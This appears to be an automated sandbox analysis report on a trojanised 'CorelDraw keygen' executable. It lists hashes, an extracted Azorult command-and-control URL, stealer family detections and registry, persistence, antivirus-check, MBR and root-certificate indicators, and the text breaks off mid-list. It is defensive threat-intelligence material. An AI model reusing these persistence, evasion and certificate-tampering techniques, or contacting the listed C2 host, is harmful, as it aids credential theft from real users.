Analysis
-
max time kernel
85s -
max time network
304s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
04-03-2021 20:36
Static task
static1
Behavioral task
behavioral1
Sample
CorelDraw_keygen_by_KeygenNinja.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
CorelDraw_keygen_by_KeygenNinja.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
CorelDraw_keygen_by_KeygenNinja.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
CorelDraw_keygen_by_KeygenNinja.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
CorelDraw_keygen_by_KeygenNinja.exe
Resource
win7v20201028
General
-
Target
CorelDraw_keygen_by_KeygenNinja.exe
-
Size
8.6MB
-
MD5
26fb5cbb439c37c7437c43951b56a9e8
-
SHA1
ffe7d540afd6410bd69e502d47252930a1411f73
-
SHA256
ced746e74fedf490bf79b1c68c9e15290c33f42df5fd2281a13708fae54c8ea7
-
SHA512
f0a24019707d4ec9e8477037d2d2f83c511a0e4dc9aa0a0c7a4f97b4a8ab1ac1a5618145fc628068c326856cc0cf9e3c697489cdd4b0d92a369ebd54b5391a78
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
metasploit
windows/single_exec
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
ElysiumStealer
ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.
-
ElysiumStealer Payload 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab91-164.dat elysiumstealer behavioral2/files/0x000100000001ab91-163.dat elysiumstealer behavioral2/memory/188-174-0x0000000002FC0000-0x0000000002FC6000-memory.dmp elysiumstealer -
Glupteba Payload 3 IoCs
resource yara_rule behavioral2/memory/4264-308-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral2/memory/4264-316-0x0000000003850000-0x00000000040AD000-memory.dmp family_glupteba behavioral2/memory/4264-319-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 1 IoCs
resource yara_rule behavioral2/memory/5840-397-0x0000000000400000-0x0000000000428000-memory.dmp family_redline -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Nirsoft 6 IoCs
resource yara_rule behavioral2/files/0x0003000000015603-95.dat Nirsoft behavioral2/files/0x0003000000015603-97.dat Nirsoft behavioral2/files/0x000100000001ab8c-115.dat Nirsoft behavioral2/files/0x000100000001ab8c-116.dat Nirsoft behavioral2/files/0x000400000001ab80-142.dat Nirsoft behavioral2/files/0x000400000001ab80-141.dat Nirsoft -
Executes dropped EXE 28 IoCs
pid Process 3124 keygen-pr.exe 2464 keygen-step-1.exe 1444 keygen-step-3.exe 2068 keygen-step-4.exe 784 key.exe 2572 file.exe 1408 DE9E.tmp.exe 2920 DE9E.tmp.exe 4020 Setup.exe 4052 C0CA61A12E4C8B38.exe 1452 C0CA61A12E4C8B38.exe 2924 Install.exe 3672 multitimer.exe 3628 askinstall20.exe 3844 1614890538478.exe 2136 md2_2efs.exe 3688 multitimer.exe 1800 1614890543275.exe 2256 multitimer.exe 1684 BTRSetp.exe 204 1614890549088.exe 3536 793749.8 3576 2736301.30 3528 8190226.90 188 5620427.61 2820 gcttt.exe 2584 jfiag3g_gg.exe 4100 Windows Host.exe -
Modifies Windows Firewall 1 TTPs
-
resource yara_rule behavioral2/files/0x000100000001ab5a-50.dat office_xlm_macros -
Loads dropped DLL 2 IoCs
pid Process 1392 MsiExec.exe 188 5620427.61 -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe" 2736301.30 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\vyty0olxx3t = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TM2YEMXGKR\\multitimer.exe\" 1 3.1614890328.604145588626a" multitimer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gcttt.exe -
Checks for any installed AV software in registry 1 TTPs 53 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\TrendMicro\UniClient multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\P: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 100 icanhazip.com 109 ipinfo.io 111 ipinfo.io 192 ipinfo.io 231 ipinfo.io 274 ipinfo.io 33 api.ipify.org 96 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 C0CA61A12E4C8B38.exe File opened for modification \??\PhysicalDrive0 C0CA61A12E4C8B38.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 4020 Setup.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1408 set thread context of 2920 1408 DE9E.tmp.exe 92 PID 4052 set thread context of 1420 4052 C0CA61A12E4C8B38.exe 111 PID 4052 set thread context of 2924 4052 C0CA61A12E4C8B38.exe 122 PID 4052 set thread context of 2060 4052 C0CA61A12E4C8B38.exe 126 -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 9 IoCs
pid pid_target Process procid_target 4636 4228 WerFault.exe 142 5176 4228 WerFault.exe 142 5316 4228 WerFault.exe 142 5468 4228 WerFault.exe 142 5768 4228 WerFault.exe 142 6040 4228 WerFault.exe 142 4864 4228 WerFault.exe 142 5320 4228 WerFault.exe 142 4240 4216 WerFault.exe 143 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc C0CA61A12E4C8B38.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 DE9E.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString DE9E.tmp.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4676 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 2468 timeout.exe 6708 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe -
Kills process with taskkill 7 IoCs
pid Process 5376 taskkill.exe 3384 taskkill.exe 3900 taskkill.exe 5556 taskkill.exe 5016 TASKKILL.exe 5672 taskkill.exe 3876 taskkill.exe -
Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc file.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe -
Runs .reg file with regedit 2 IoCs
pid Process 5716 regedit.exe 556 regedit.exe -
Runs ping.exe 1 TTPs 4 IoCs
pid Process 3408 PING.EXE 4048 PING.EXE 3540 PING.EXE 2196 PING.EXE -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 273 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 110 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 113 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 191 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 230 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2920 DE9E.tmp.exe 2920 DE9E.tmp.exe 2572 file.exe 2572 file.exe 2572 file.exe 2572 file.exe 2572 file.exe 2572 file.exe 2572 file.exe 2572 file.exe 3844 1614890538478.exe 3844 1614890538478.exe 1800 1614890543275.exe 1800 1614890543275.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe 2256 multitimer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2572 file.exe Token: SeShutdownPrivilege 3216 msiexec.exe Token: SeIncreaseQuotaPrivilege 3216 msiexec.exe Token: SeSecurityPrivilege 3904 msiexec.exe Token: SeCreateTokenPrivilege 3216 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3216 msiexec.exe Token: SeLockMemoryPrivilege 3216 msiexec.exe Token: SeIncreaseQuotaPrivilege 3216 msiexec.exe Token: SeMachineAccountPrivilege 3216 msiexec.exe Token: SeTcbPrivilege 3216 msiexec.exe Token: SeSecurityPrivilege 3216 msiexec.exe Token: SeTakeOwnershipPrivilege 3216 msiexec.exe Token: SeLoadDriverPrivilege 3216 msiexec.exe Token: SeSystemProfilePrivilege 3216 msiexec.exe Token: SeSystemtimePrivilege 3216 msiexec.exe Token: SeProfSingleProcessPrivilege 3216 msiexec.exe Token: SeIncBasePriorityPrivilege 3216 msiexec.exe Token: SeCreatePagefilePrivilege 3216 msiexec.exe Token: SeCreatePermanentPrivilege 3216 msiexec.exe Token: SeBackupPrivilege 3216 msiexec.exe Token: SeRestorePrivilege 3216 msiexec.exe Token: SeShutdownPrivilege 3216 msiexec.exe Token: SeDebugPrivilege 3216 msiexec.exe Token: SeAuditPrivilege 3216 msiexec.exe Token: SeSystemEnvironmentPrivilege 3216 msiexec.exe Token: SeChangeNotifyPrivilege 3216 msiexec.exe Token: SeRemoteShutdownPrivilege 3216 msiexec.exe Token: SeUndockPrivilege 3216 msiexec.exe Token: SeSyncAgentPrivilege 3216 msiexec.exe Token: SeEnableDelegationPrivilege 3216 msiexec.exe Token: SeManageVolumePrivilege 3216 msiexec.exe Token: SeImpersonatePrivilege 3216 msiexec.exe Token: SeCreateGlobalPrivilege 3216 msiexec.exe Token: SeCreateTokenPrivilege 3216 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3216 msiexec.exe Token: SeLockMemoryPrivilege 3216 msiexec.exe Token: SeIncreaseQuotaPrivilege 3216 msiexec.exe Token: SeMachineAccountPrivilege 3216 msiexec.exe Token: SeTcbPrivilege 3216 